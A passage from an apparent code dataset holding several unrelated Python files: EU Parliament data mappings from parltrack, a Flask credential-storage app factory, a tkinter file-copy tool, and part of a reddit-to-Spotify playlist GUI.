u'CRIS',\n u'Committee on Policy Challenges Committee': u'SURE'}\n\nSTAGEMAP = {'Preparatory phase in Parliament': u'01. Preparatory phase in EP',\n 'Awaiting Parliament 1st reading / single reading / budget 1st stage': u'02. EP 1st reading',\n 'Awaiting Council 1st reading position / budgetary conciliation convocation': u'03. EC 1st reading position',\n 'Budgetary conciliation committee convened': u'03. Budgetary conciliation committee convened',\n 'Awaiting reconsultation': u'04. Awaiting reconsultation',\n 'Awaiting Parliament decision after Council rejection of joint text': u'05. EP decision after EC rejection of joint text',\n 'Awaiting Council decision, blocked at 1st reading': u'06. EC decision, blocked at 1st reading',\n 'Awaiting Parliament 2nd reading': u'07. EP 2nd reading',\n 'Awaiting Council decision, 2nd reading': u'08. EC decision, 2nd reading',\n 'Awaiting Parliament and Council decision, 3rd reading': u'09. EP and EC decision, 3rd reading',\n 'Conciliation ongoing': u'10. Conciliation ongoing',\n 'Political agreement on final act': u'11. Political agreement on final act',\n 'Awaiting signature': u'12. Awaiting signature',\n 'Awaiting final decision': u'13. Awaiting final decision',}\n\nSTAGES = ['Preparatory phase in Parliament',\n 'Awaiting Parliament 1st reading / single reading / budget 1st stage',\n 'Awaiting reconsultation',\n 'Awaiting Council decision, blocked at 1st reading',\n 'Awaiting Council 1st reading position / budgetary conciliation convocation',\n 'Budgetary conciliation committee convened',\n 'Awaiting announcement of budgetary joint text',\n 'Awaiting budgetary conciliation report',\n 'Awaiting Parliament decision on budgetary joint text',\n 'Awaiting Council decision on budgetary joint text',\n 'Awaiting Parliament decision after Council rejection of joint text',\n 'Awaiting Parliament 2nd reading',\n 'Awaiting Council decision, 2nd reading',\n 'Conciliation ongoing',\n 'Conciliation ended',\n 'Awaiting Parliament and Council decision, 3rd reading',\n 'Political agreement on final act',\n 'Awaiting signature',\n 'Awaiting final decision',\n 'Budgetary conciliation committee convened',\n 'Procedure completed, awaiting publication in Official Journal']\n\nALL_STAGES= [ \"Preparatory phase in Parliament\",\n \"Awaiting Parliament 1st reading / single reading / budget 1st stage\",\n \"Awaiting reconsultation\",\n \"Awaiting Council decision, blocked at 1st reading\",\n \"Awaiting Council 1st reading position / budgetary conciliation convocation\",\n \"Budgetary conciliation committee convened\",\n \"Awaiting announcement of budgetary joint text\",\n \"Awaiting budgetary conciliation report\",\n \"Awaiting Parliament decision on budgetary joint text\",\n \"Awaiting Council decision on budgetary joint text\",\n \"Awaiting Parliament decision after Council rejection of joint text\",\n \"Awaiting Parliament 2nd reading\",\n \"Awaiting Council decision, 2nd reading\",\n \"Conciliation ongoing\",\n \"Conciliation ended\",\n \"Awaiting Parliament and Council decision, 3rd reading\",\n \"Political agreement on final act\",\n \"Awaiting signature\",\n \"Awaiting final decision\",\n \"Procedure completed, awaiting publication in Official Journal\",\n \"Procedure completed\",\n \"Procedure rejected\",\n \"Procedure lapsed or withdrawn\"]\n\nbuildings={ u\"Altiero Spinelli\": u'ASP',\n u\"Willy Brandt\": u'WIB',\n u\"Paul-Henri Spaak\": u'PHS',\n u\"Atrium\": u\"ATR\",\n u\"Louise Weiss\": u'LOW',\n u\"Winston Churchill\": u'WIC',\n u'Salvador de Madariaga': u\"SDM\",\n u\"Bât. Altiero Spinelli\": u'ASP',\n u\"Bât. Willy Brandt\": u'WIB',\n u\"Bât. Paul-Henri Spaak\": u'PHS',\n u\"Bât. Atrium\": u\"ATR\",\n u\"Bât. Louise Weiss\": u'LOW',\n u\"Bât. Winston Churchill\": u'WIC',\n u'B\\xe2t. Salvador de Madariaga': u\"SDM\",\n }\n\nipexevents={u'CSL 1R Agreement': {'body': u'CSL', 'oeil': ['Council meeting'], },\n u'CSL Common Position': {'body': u'CSL', 'oeil': ['Council position'], },\n u'CSL Final Adoption': {'body': u'CSL',},\n u'CSL Final Agreement': {'body': u'CSL',},\n u'CSL Non Acceptance': {'body': u'CSL',},\n u'Date': {'body': u'EP', 'oeil': ['Initial legislative document', 'Commission/Council: initial legislative document', 'Legislative proposal published', 'Initial legislative proposal published', 'Modified legislative proposal published'], },\n u'Deadline Amendments': {'body': u'EP',},\n u'EP 1R Committee': {'body': u'EP', 'oeil': ['Vote scheduled in committee, 1st reading/single reading', 'EP: decision of the committee responsible, 1st reading/single reading'], },\n u'EP 1R Plenary': {'body': u'EP', 'oeil': ['EP: position, 1st reading or single reading'], },\n u'EP 2R Committee': {'body': u'EP', 'oeil': ['EP: decision of the committee responsible, 2nd reading'], },\n u'EP 2R Plenary': {'body': u'EP', 'oeil': ['EP: position, 2nd reading'], },\n u'EP 3R Plenary': {'body': u'EP', 'oeil': ['EP: legislative resolution, 3rd reading'], },\n u'EP Conciliation Committee': {'body': u'EP', 'oeil': ['Results of conciliation'], },\n u'EP officialisation': {'body': u'EP', 'oeil': ['Commission/Council: initial legislative document'], },\n u'End Date': {'body': u'EP', 'oeil': ['Final legislative act'], },\n u'Foreseen CSL Activities': {'body': u'CSL',},\n u'Prev Adopt in Cte': {'body': u'EP',},\n u'Prev DG PRES': {'body': u'EC', 'oeil' : ['Indicative plenary sitting date, 1st reading/single reading']},\n }\n\nCOUNTRIES = {'BE': u'Belgium',\n 'BG': u'Bulgaria',\n 'CZ': u'Czech Republic',\n 'DK': u'Denmark',\n 'DE': u'Germany',\n 'EE': u'Estonia',\n 'IE': u'Ireland',\n 'EL': u'Greece',\n 'GR': u'Greece',\n 'ES': u'Spain',\n 'FR': u'France',\n 'IT': u'Italy',\n 'CY': u'Cyprus',\n 'LV': u'Latvia',\n 'LT': u'Lithuania',\n 'LU': u'Luxembourg',\n 'HU': u'Hungary',\n 'MT': u'Malta',\n 'NL': u'Netherlands',\n 'AT': u'Austria',\n 'PL': u'Poland',\n 'PT': u'Portugal',\n 'RO': u'Romania',\n 'SI': u'Slovenia',\n 'SK': u'Slovakia',\n 'FI': u'Finland',\n 'SE': u'Sweden',\n 'UK': u'United Kingdom',\n 'GB': u'United Kingdom',\n 'HR': u'Croatia',\n }\n\nSEIRTNUOC = {'Belgium': u'BE',\n 'Bulgaria': u'BG',\n 'Czech Republic': u'CZ',\n 'Denmark': u'DK',\n 'Germany': u'DE',\n 'Estonia': u'EE',\n 'Ireland': u'IE',\n 'Greece': u'EL',\n 'Spain': u'ES',\n 'France': u'FR',\n 'Italy': u'IT',\n 'Cyprus': u'CY',\n 'Latvia': u'LV',\n 'Lithuania': u'LT',\n 'Luxembourg': u'LU',\n 'Hungary': u'HU',\n 'Malta': u'MT',\n 'Netherlands': u'NL',\n 'Austria': u'AT',\n 'Poland': u'PL',\n 'Portugal': u'PT',\n 'Romania': u'RO',\n 'Slovenia': u'SI',\n 'Slovakia': u'SK',\n 'Finland': u'FI',\n 'Sweden': u'SE',\n 'United Kingdom': u'GB',\n 'Croatia': u'HR',\n }\n\nGROUPS=[\n 'Communist and Allies Group',\n 'Communist and Allies Group (SF, Ind. Sin.)',\n 'European Conservative Group',\n 'European Conservatives and Reformists',\n 'European Democratic Group',\n 'Europe of freedom and democracy Group',\n 'Europe of Nations Group (Coordination Group)',\n 'Forza Europa Group',\n 'Confederal Group of the European United Left',\n 'Confederal Group of the European United Left/Nordic Green Left',\n 'Confederal Group of the European United Left - Nordic Green Left',\n 'Christian-Democratic Group',\n \"Christian-Democratic Group (Group of the European People's Party)\",\n \"Group of the European People's Party \",\n 'Group for a Europe of Democracies and Diversities',\n 'Group for the European United Left',\n 'Group for the Technical Coordination and Defence of Indipendent Groups and Members',\n 'Group of Independents for a Europe of Nations',\n 'Group of the Alliance of Liberals and Democrats for Europe',\n 'Group of the European Democratic Alliance',\n 'Group of the European Liberal, Democrat and Reform Party',\n 'Group of the European Radical Alliance',\n 'Group of the European Right',\n 'Group of the Greens/European Free Alliance',\n 'The Greens/European Free Alliance',\n 'Group of the Party of European Socialists',\n 'Group of the Progressive Alliance of Socialists and Democrats in the European Parliament',\n 'European Democratic Union Group',\n 'Group of European Progressive Democrats',\n \"Group of the European People's Party (Christian Democrats) and European Democrats\",\n \"Group of the European People's Party (Christian Democrats)\",\n 'Group Union for Europe',\n 'Identity, Tradition and Sovereignty Group',\n 'Independence/Democracy Group',\n 'Left Unity',\n 'Liberal and Democratic Group',\n 'Liberal and Democratic Reformist Group',\n 'Non-attached',\n 'Non-attached Members',\n \"Rainbow Group: Federation of the Green Alternative European Links, Agelev-Ecolo, the Danish People's Movement against Membership of the European Community and the European Free Alliance in the European Parliament\",\n 'Rainbow Group in the European Parliament',\n 'Socialist Group',\n 'Socialist Group in the European Parliament',\n 'Technical Coordination and Defence of Independent Groups and Members',\n 'Technical Group of Independent Members - mixed group',\n 'Technical Group of the European Right',\n 'The Green Group in the European Parliament',\n 'Union for Europe of the Nations Group',\n 'Union for Europe of the Nations Group',\n 'Communist and Allies Group',]\n\ngroup_map={ u\"Confederal Group of the European United Left - Nordic Green Left\": u'GUE/NGL',\n u\"Confederal Group of the European United Left-Nordic Green Left\": u'GUE/NGL',\n u'Confederal Group of the European United Left / Nordic Green Left': u'GUE/NGL',\n u'Confederal Group of the European United Left/Nordic Green Left': u'GUE/NGL',\n u'Confederal Group of the European United Left': u'GUE/NGL',\n u\"European Conservatives and Reformists\": u'ECR',\n u'European Conservatives and Reformists Group': u'ECR',\n u\"Europe of freedom and democracy Group\": u'EFD',\n u'Europe of Freedom and Direct Democracy Group': u\"EFDD\",\n u'Europe of Freedom and Democracy Group': u'EFD',\n u'Europe of freedom and direct democracy Group': u'EFD',\n u\"Group of the Alliance of Liberals and Democrats for Europe\": u'ALDE',\n u'Liberal and Democratic Reformist Group': u'LDR',\n u'Group Union for Europe': u'UFE',\n u'European Democratic Group': u'EDG',\n u'Liberal and Democratic Group': u'ALDE',\n u'Technical Group of the European Right': u'DR',\n u'Group of the European Radical Alliance': u'ERA',\n u'Socialist Group': u'SG',\n u'Rainbow Group in the European Parliament': u'RBW',\n u'Group of the European Right': u'ER',\n u'Group of Independents for a Europe of Nations': u'ER',\n u'Left Unity': u'LU',\n u'Group for the European United Left': u'GUE',\n u'Group of the European Democratic Alliance': u'EDA',\n u\"Group of the Greens/European Free Alliance\": u\"Verts/ALE\",\n u'The Greens/European Free Alliance': u\"Verts/ALE\",\n u\"Group of the Progressive Alliance of Socialists and Democrats in the European Parliament\": u\"S&D\",\n u'Group for a Europe of Democracies and Diversities': u'EDD',\n u'Group of the European Liberal Democrat and Reform Party': u'ELDR',\n u'Group of the European Liberal, Democrat and Reform Party': u'ELDR',\n u'Group indépendence/Démocratie': [u'ID',u'INDDEM', u'IND/DEM'],\n u'Independence/Democracy Group': [u'ID', u'INDDEM', u'IND/DEM'],\n u'Non-attached Members': [u'NA',u'NI'],\n u'Non-attached': [u'NA',u'NI'],\n u'Identity, Tradition and Sovereignty Group': u'ITS',\n u\"Group of the European People's Party (Christian Democrats) and European Democrats\": u'PPE-DE',\n u\"Group of the European People's Party (Christian Democrats)\": u'PPE',\n u\"Group of the European People's Party (Christian-Democratic Group)\": u\"PPE\",\n u'Group of the Party of European Socialists': u'PSE',\n u'Socialist Group in the European Parliament': u'PSE',\n u'Technical Group of Independent Members': u'TDI',\n u'Group indépendence/Démocratie': u'UEN',\n u'Union for a Europe of Nations Group': u'UEN',\n u'Europe of Nations Group (Coordination Group)': u'UEN',\n u'Union for Europe of the Nations Group': u'UEN',\n u'Group of the Greens / European Free Alliance': u'Verts/ALE',\n u'The Green Group in the European Parliament': u'Verts/ALE',\n u'Greens/EFA': u'Verts/ALE',\n u'Christian Democratic Group': u'CD',\n u'Christian Democratic Group': u'CD',\n u'European Conservatives': u'C',\n u'European Democrats': u'ED',\n u'European People\\'s Party': u'EPP',\n u'Forza Europa': u'FE',\n u'European People\\'s Party–European Democrats': u'EPP-ED',\n u'Socialist Group': u'S',\n u'Socialist Group': u'SOC',\n u'Party of European Socialists': u'PES',\n u'Progressive Alliance of Socialists and Democrats': u'S&D',\n u'Liberal Group': u'L',\n u'Liberal and Democratic Group': u'LD',\n u'Liberal and Democratic Reformist Group': u'LDR',\n u'European Liberal Democratic and Reform Party': u'ELDR',\n u'European Radical Alliance': u'ERA',\n u'Alliance of Liberals and Democrats for Europe': u'ALDE',\n u'European Democratic Union': u'UDE',\n u'European Democratic Union Group': u'UDE',\n u'European Progressive Democrats': u'EPD',\n u'European Democratic Alliance': u'EDA',\n u'Group Union for Europe': u'UFE',\n u'Union for Europe of the Nations': u'UEN',\n u'Rainbow Group': u'RBW',\n u'Rainbow Group': u'RBW',\n u'The Green Group': u'G',\n u'Communists and Allies': u'COM',\n u'Communist and Allies Group (SF, Ind. Sin.)': u'COM',\n u'European United Left': u'EUL',\n u'Left Unity': u'LU',\n u'European United Left': u'EUL',\n u'European United Left–Nordic Green Left': u'EUL/NGL',\n u'Technical Group of Independent Members - mixed group': u'TGI',\n u'Communist and Allies Group': u'COM',\n u\"Rainbow Group: Federation of the Green-Alternative European Links, Agelev-Ecolo, the Danish People's Movement against Membership of the European Community and the European Free Alliance in the European Parliament\": u'RBW',\n u'Group for the Technical Coordination and Defence of Indipendent Groups and Members': u'CDI',\n u'Technical Coordination and Defence of Independent Groups and Members': u'CDI',\n u'Forza Europa Group': u'FE',\n u'Christian-Democratic Group': u'CD',\n u\"Christian-Democratic Group (Group of the European People's Party)\": u'CD',\n u'European Conservative Group': u'C',\n u'Group of European Progressive Democrats': u'DEP',\n u'Europe of Nations and Freedom Group': u'ENF',\n }\ngroupids=[]\nfor item in group_map.values():\n if type(item)==list:\n groupids.extend(item)\n else:\n groupids.append(item)\n\nCELEXCODES={\n \"1\": { \"Sector\": u\"Treaties\",\n \"Document Types\" : { \"D\": u\"Treaty of Amsterdam 1997\",\n \"M\": u\"Treaty on the European Union, Maastricht 1992 - EU Treaty - consolidated version 1997\",\n \"E\": u\"EEC Treaty 1957 - EEC Treaty - consolidated version 1992 - EEC Treaty - consolidated version 1997\",\n \"K\": u\"ECSC Treaty 1951\",\n \"A\": u\"EURATOM Treaty 1957\",\n \"U\": u\"Single European Act 1986\",\n \"G\": u\"Groenland Treaty 1985\",\n \"R\": u\"Treaty amending certain financial provisions 1975\",\n \"F\": u\"Treaty amending certain budgetary provisions 1970\",\n \"F\": u\"Merger Treaty 1965\",\n \"B\": u\"Accession Treaty 1972 (United Kingdom, Denmark, Ireland, Norway)\",\n \"H\": u\"Accession Treaty 1979 (Greece)\",\n \"I\": u\"Accession Treaty 1985 (Spain, Portugal)\",\n \"N\": u\"Accession Treaty 1994 (Austria, Sweden, Finland, Norway)\",\n \"T\": u\"Accession Treaty 2003 (Slovakia, Estonia, Poland, Hungary, Lithuania, Latvia, Slovenia, Cyprus, Czech Republic, Malta)\",\n }},\n \"2\": { \"Sector\": u\"External Agreements\",\n \"Document Types\" : { \"A\":u\"Agreements with non-member States or international organisations\",\n \"D\":u\"Acts of bodies created by international agreements\",\n \"P\":u\"Acts of parliamentary bodies created by international agreements\",\n \"X\":u\"Other Acts \",},},\n \"3\": { \"Sector\": u\"Legislation\",\n \"Document Types\" : { \"E\":u\"Common Foreign and Security Policy (CFSP) - common positions / joint actions / common strategies\",\n \"F\":u\"Justice and Home Affairs (JHA) - common positions / framework decisions\",\n \"R\":u\"Regulations\",\n \"L\":u\"Directives\",\n \"D\":u\"Decisions sui generis\",\n \"S\":u\"ECSC Decisions of general interest\",\n \"M\":u\"Non-opposition to a notified concentration\",\n \"J\":u\"Non-opposition to a notified joint venture\",\n \"B\":u\"Budget\",\n \"K\":u\"Recommendations ECSC\",\n \"O\":u\"Guidelines ECB\",\n \"H\":u\"Recommendations\",\n \"A\":u\"Avis\",\n \"G\":u\"Resolutions\",\n \"C\":u\"Declarations\",\n \"Q\":u\"Institutional arrangements, Rules of Procedure, Internal agreements\",\n \"X\":u\"Other documents\",},},\n \"4\": { \"Sector\": u\"Internal Agreements\",\n \"Document Types\" : { \"D\":u\"Decisions of the representatives of the governments of the Member States\",\n \"X\":u\"Other acts\",},},\n \"5\": { \"Sector\": u\"Proposals + preparatory documents\",\n \"Document Types\" : { \"AG\":u\"Council - common positions\",\n \"KG\":u\"Council - assent ECSC\",\n \"IG\":u\"Member States - Initiatives\",\n \"XG\":u\"Council - other acts\",\n \"PC\":u\"COM Documents - proposals for legislation\",\n \"DC\":u\"COM Documents - other documents\",\n \"SC\":u\"SEC Documents\",\n \"XC\":u\"Commission - other acts\",\n \"AP\":u\"EP - legislative resolution\",\n \"BP\":u\"EP - budget\",\n \"IP\":u\"EP - other resolutions\",\n \"XP\":u\"EP - other acts\",\n \"AA\":u\"Court of Auditors - opinions\",\n \"TA\":u\"Court of Auditors - reports\",\n \"SA\":u\"Court of Auditors - special reports\",\n \"XA\":u\"Court of Auditors - other acts\",\n \"AB\":u\"ECB - opinions\",\n \"HB\":u\"ECB - recommendations\",\n \"XB\":u\"ECB - other acts\",\n \"AE\":u\"ESC - opinions on consultation\",\n \"IE\":u\"ESC - other opinions\",\n \"XE\":u\"ESC - other acts\",\n \"AR\":u\"CR - opinions on consultation\",\n \"IR\":u\"CR - other opinions\",\n \"XR\":u\"CR - other acts\",\n \"AK\":u\"ECSC Com. - opinions\",\n \"XK\":u\"ECSC Com. - other acts\",\n \"XX\":u\"Other acts \", }, },\n \"6\": { \"Sector\": u\"Case Law\",\n \"Document Types\" : { \"A\":u\"Court of First Instance Judgments\",\n \"B\":u\"Court of First Instance - Orders\",\n \"D\":u\"Court of First Instance - Third Party Proceedings\",\n \"F\":u\"Court of First Instance - Opinions\",\n \"H\":u\"Court of First Instance - Case report\",\n \"C\":u\"Court of Justice - Conclusions of the Avocate-General\",\n \"J\":u\"Court of Justice - Judgments\",\n \"O\":u\"Court of Justice - Orders\",\n \"P\":u\"Court of Justice - Case report\",\n \"S\":u\"Court of Justice - Seizure\",\n \"T\":u\"Court of Justice - Third Party Proceedings\",\n \"V\":u\"Court of Justice - Opinions\",\n \"X\":u\"Court of Justice - Rulings\",},},\n \"7\": { \"Sector\": u\"National Implementation\",\n \"Document Types\" : {\"L\":u\"National Implementation Measures - implementation of directives\",},},\n \"9\": { \"Sector\": u\"European Parliamentary Questions\",\n \"Document Types\" : { \"E\":u\"European European Parliament - Written Questions\",\n \"H\":u\"European European Parliament - Questions at Questiontime\",\n \"O\":u\"European European Parliament - Oral questions\",},},\n \"C\": { \"Sector\": u\"OJC Documents\", \"Document Types\" : {},},\n \"E\": { \"Sector\": u\"EFTA Documents\",\n \"Document Types\" : { \"A\":u\"International Agreements\",\n \"C\":u\"Acts of the EFTA Surveillance Authority\",\n \"G\":u\"Acts of the EFTA Standing Committee\",\n \"J\":u\"Decisions, Orders, Consultative opinions of the EFTA Court\",\n \"P\":u\"Pending cases of the EFTA Court\",\n \"X\":u\"EFTA - Other Acts\",},},\n }\n","repo_name":"parltrack/parltrack","sub_path":"old_scrapers/mappings.py","file_name":"mappings.py","file_ext":"py","file_size_in_byte":30794,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"21"} +{"seq_id":"18685907947","text":"import os\nimport click\nfrom flask import Flask, cli\n\n\ndef create_app(test_config=None):\n app = Flask(__name__, static_url_path=\"\", instance_relative_config=True)\n app.config.from_mapping(\n SECRET_KEY=os.urandom(32),\n DATABASE=os.environ.get(\"CREDSTORE_DATABASE\", \"sqlite:///{}\".format(os.path.join(app.instance_path, \"db.sqlite\"))),\n )\n\n if test_config is None:\n # load the instance config, if it exists, when not testing\n app.config.from_pyfile('config.cfg', silent=True)\n else:\n # load the test config if passed in\n app.config.from_mapping(test_config)\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n\n @app.teardown_appcontext\n def shutdown_session(exception=None):\n from .database import db_session\n db_session.remove()\n\n @app.cli.add_command\n @click.command('init-db')\n @cli.with_appcontext\n def init_db_command():\n click.echo(\"initialising the database tables\")\n from .database import init_db\n init_db()\n\n return app\n","repo_name":"0xdc/flask-fido2-credential-storage","sub_path":"cred_storage/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3733225350","text":"import tkinter as tk\nimport shutil as sh\nimport os\nimport subprocess as sub\n\ndef Callback( ):\n print(str(src_var.get()) + \" \" +str(des_var.get()))\n #s2 = sub.run(\"ls\",shell = True)\n sub.run([\"cp\" , str(src_var) , str(des_var)])\n #print(\"debug\")\n\n\n\nwin = tk.Tk()\nwin.title(\"COPY\")\nwin.resizable(0,0)\nopen = True\n\n\nsrc_var = tk.StringVar()\nsrc_lable = tk.Label(win , text = \"Filename :\",anchor=tk.W,width=10)\nsrc_lable.grid(row = 0 ,column = 0)\nsrc_entry = tk.Entry(win , textvariable = src_var)\nsrc_entry.grid(row = 0 ,column = 1)\nsrc_entry.focus_set()\n\ndes_var = tk.StringVar()\ndes_lable = tk.Label(win , text = \"To :\",anchor=tk.W,width=10)\ndes_lable.grid(row = 1 ,column = 0)\ndes_entry = tk.Entry(win , textvariable = des_var)\ndes_entry.grid(row = 1 ,column = 1)\n\nSumbit = tk.Button(win ,text = \"Copy\" , command = Callback )\n\nSumbit.grid(row=2,column= 1)\nwin.mainloop()","repo_name":"ZeoDarkflame/File_Manager","sub_path":"Main/Copy.py","file_name":"Copy.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"37452606773","text":"import configparser\nimport os.path\nimport sip\nimport sys\nfrom PyQt5.QtWidgets import (QWidget,\n QVBoxLayout,\n # QHBoxLayout,\n QLabel)\nfrom PyQt5 import uic, QtCore\n\n\nclass r2sGUI(QWidget):\n def __init__(self, sp_agent, reddit, redraw_func):\n super().__init__()\n self.sp_agent = sp_agent\n self.reddit = reddit\n self.redraw_func = redraw_func\n self.mvb = QVBoxLayout()\n self.subreddit_count = 0\n self.config = None\n self.settings_file = f\"{self.sp_agent.username}.ini\"\n self.time_dictionary = self.create_time_dictionary()\n self.initialize_UI()\n\n def initialize_UI(self):\n config = configparser.ConfigParser()\n if os.path.isfile(self.settings_file):\n config.read(self.settings_file)\n self.config = config\n # should probably check that config file is valid (not corrupted)\n\n # load subreddits\n if not config.sections():\n self.display_no_reddits()\n else:\n for section in config.sections():\n subreddit_box = self.load_subreddit(config[section])\n subreddit_box.delete_button.hide() # hide for now\n self.mvb.addWidget(subreddit_box)\n self.subreddit_count += 1\n\n # add button\n add_widget = uic.loadUi(\"addsubreddit.ui\")\n add_subreddit_button = add_widget.add_subreddit_button\n add_subreddit_button.clicked.connect(self.create_new_subreddit)\n self.mvb.addWidget(add_widget)\n add_widget.hide() # hide for now\n\n self.setLayout(self.mvb)\n self.setWindowTitle(\"reddit2Spotify\")\n\n def resize_after_subreddit_count_change(self):\n # height = self.mvb.sizeHint().height()\n # width = self.mvb.sizeHint().width()\n # self.resize(height + 1, width + 1) # attempt to update label\n # self.resize(height, width)\n pass\n\n def display_no_reddits(self):\n # no_subreddits_m means no_subreddits_message\n username = self.sp_agent.username\n no_subreddits_m = f\"No subreddits added for {username}.\"\n no_subreddits = QLabel(no_subreddits_m)\n no_subreddits.setObjectName(\"no_subreddits_label\")\n self.mvb.addWidget(no_subreddits)\n\n def load_subreddit(self, section):\n # load ui from qtdesigner-made widget\n ss = uic.loadUi(\"singlesubreddit.ui\")\n\n # subreddit name\n ss.subreddit_entry_textbox.setText(section[\"name\"])\n\n # sorting method dropdown\n # only show time sorting if \"top\" is selected\n def time_lambda(): self.allow_time(ss.sorting_method_combo,\n [ss.pre_time_label,\n ss.time_combo])\n ss.sorting_method_combo.currentIndexChanged.connect(time_lambda)\n index = ss.sorting_method_combo.findText(section[\"sorting method\"],\n QtCore.Qt.MatchFixedString)\n if index >= 0:\n ss.sorting_method_combo.setCurrentIndex(index)\n\n # flair text\n flair_placeholder_text = \"Case sensitive. Leave blank for all posts.\"\n ss.post_flair_textbox.setPlaceholderText(flair_placeholder_text)\n ss.post_flair_textbox.setText(section[\"flair text\"])\n\n # new and existing playlist radio buttons\n def playlist_radio_toggled(): self.playlist_radio_toggled(ss)\n ss.new_pl_radio.toggled.connect(playlist_radio_toggled)\n ss.existing_pl_radio.toggled.connect(playlist_radio_toggled)\n pl_type = section[\"playlist type\"]\n ss.new_pl_radio.setChecked(pl_type == \"new\")\n ss.existing_pl_radio.setChecked(pl_type == \"existing\")\n\n # save button\n # def save_button_clicked(): self.save_subreddit(ss)\n # ss.save_button.clicked.connect(save_button_clicked)\n\n # delete button\n def delete_button_clicked(): self.delete_subreddit(ss)\n ss.delete_button.clicked.connect(delete_button_clicked)\n\n # run button\n def run_button_clicked(): self.run_now(ss)\n ss.run_now_button.clicked.connect(run_button_clicked)\n\n # schedule button\n def schedule_button_clicked(): self.schedule(ss)\n ss.schedule_button.clicked.connect(schedule_button_clicked)\n\n ss.console.text_changed.connect(self.redraw_func)\n\n return ss\n\n @QtCore.pyqtSlot(object, list)\n def allow_time(self, sorting, to_be_hidden):\n index = sorting.currentIndex()\n if index == 0 or index == 4:\n # time_hb.show()\n for widget in to_be_hidden:\n widget.show()\n else:\n # time.setEnabled(False)\n for widget in to_be_hidden:\n widget.hide()\n\n @QtCore.pyqtSlot(QWidget)\n def playlist_radio_toggled(self, ss):\n if ss.new_pl_radio.isChecked(): # new\n # hide existing playlist stuff\n ss.existing_pl_id_label.hide()\n ss.existing_pl_id_textbox.hide()\n # show new playlist stuff\n ss.new_pl_name_label.show()\n ss.new_pl_name_textbox.show()\n ss.new_pl_desc_label.show()\n ss.new_pl_desc_textbox.show()\n else: # existing\n # show existing playlist stuff\n ss.existing_pl_id_label.show()\n ss.existing_pl_id_textbox.show()\n # hide new playlist stuff\n ss.new_pl_name_label.hide()\n ss.new_pl_name_textbox.hide()\n ss.new_pl_desc_label.hide()\n ss.new_pl_desc_textbox.hide()\n\n def create_new_subreddit(self):\n print(\"Creating new subreddit...\")\n # remove add button\n add_button = self.mvb.takeAt(self.mvb.count()-1).widget()\n\n # remove \"no subreddit\" label if there are currently no subreddits\n if self.subreddit_count == 0:\n no_subreddit_label = self.mvb.takeAt(self.mvb.count()-1).widget()\n sip.delete(no_subreddit_label)\n\n # add new subreddit\n new_subreddit = self.load_subreddit(self.config[\"DEFAULT\"])\n self.mvb.addWidget(new_subreddit)\n self.subreddit_count += 1\n\n # add add button back\n self.mvb.addWidget(add_button)\n self.resize_after_subreddit_count_change()\n\n @QtCore.pyqtSlot(QWidget)\n def save_subreddit(self, ss):\n section = ss.subreddit_entry_textbox.text().lower()\n if not section: # no subreddit name\n return\n\n cf = self.config\n cf.read(self.settings_file)\n\n try:\n cf.add_section(section)\n except configparser.DuplicateSectionError:\n pass\n\n cf[section][\"name\"] = section\n cf[section][\"sorting method\"] = ss.sorting_method_combo.currentText()\n # saves top time period even if not sorting by top\n cf[section][\"top time period\"] = ss.time_combo.currentText()\n cf[section][\"flair text\"] = ss.post_flair_textbox.text()\n pl_type = \"new\" if ss.new_pl_radio.isChecked() else \"existing\"\n cf[section][\"playlist type\"] = pl_type\n\n with open(self.settings_file, 'w') as configfile:\n cf.write(configfile)\n\n @QtCore.pyqtSlot(QWidget)\n def delete_subreddit(self, ss):\n print(\"Deleting subreddit...\")\n self.mvb.removeWidget(ss)\n self.remove_subreddit_from_settings(ss)\n sip.delete(ss) # honestly have no clue what this is but it works\n self.subreddit_count -= 1\n\n # add \"no subreddits\" label if we just deleted the last subreddit\n if self.subreddit_count == 0:\n add_button = self.mvb.takeAt(self.mvb.count()-1).widget()\n self.display_no_reddits()\n self.mvb.addWidget(add_button)\n\n self.resize_after_subreddit_count_change()\n self.resize_after_subreddit_count_change()\n\n def remove_subreddit_from_settings(self, ss):\n section = ss.subreddit_entry_textbox.text().lower()\n cf = self.config\n cf.read(self.settings_file)\n deleted = cf.remove_section(section)\n if not deleted:\n print(f\"Error deleting section {section}.\", file=sys.stderr)\n with open(self.settings_file, 'w') as configfile:\n cf.write(configfile)\n\n def run_now(self, ss):\n print(\"Running subreddit settings now...\")\n\n subreddit_name = ss.subreddit_entry_textbox.text()\n if not subreddit_name:\n # first one doesn't update UI, do it twice\n # not a great solution, but works for now\n ss.console.change_text(\"Error: No subreddit name\", 1)\n ss.console.change_text(\"Error: No subreddit name\", 1)\n self.resize_after_subreddit_count_change()\n return\n subreddit = self.reddit.subreddit(subreddit_name)\n\n self.save_subreddit(ss)\n playlist_id = None\n if ss.new_pl_radio.isChecked(): # new\n pl_name = ss.new_pl_name_textbox.text()\n if not pl_name: # no name given for new playlist\n pl_name = \"r2s playlist for \" + self.sp_agent.username\n pl_desc = ss.new_pl_desc_textbox.text()\n playlist = self.sp_agent.create_playlist(pl_name, pl_desc)\n playlist_id = playlist[\"id\"]\n else: # existing playlist\n playlist_id = ss.existing_pl_id_textbox.text()\n print(\"Playlist ID:\", playlist_id)\n\n fetching_message = f\"Fetching posts...\"\n ss.console.change_text(fetching_message, 0)\n\n sorting_method = ss.sorting_method_combo.currentText()\n time = self.time_dictionary[ss.time_combo.currentText()]\n posts = self.get_posts(subreddit, sorting_method, time)\n\n for post in posts:\n matches_flair_text = True\n flair = ss.post_flair_textbox.text()\n if flair:\n if post.link_flair_text != flair:\n matches_flair_text = False\n\n is_spotify = (\"spotify\" in post.url)\n is_track = (\"track\" in post.url)\n if matches_flair_text and is_spotify and is_track:\n valid_part = post.url.split('?')[0]\n ss.console.change_text(f\"Adding {valid_part}\", 0)\n self.sp_agent.add_songs_to_playlist([valid_part], playlist_id)\n\n # same as above, doing it twice so it updates UI\n ss.console.change_text(\"Ready\", 0)\n ss.console.change_text(\"Ready\", 0)\n\n def create_time_dictionary(self):\n return {\"the past hour\": \"hour\",\n \"the past 24 hours\": \"day\",\n \"the past week\": \"week\",\n \"the past month\": \"month\",\n \"the 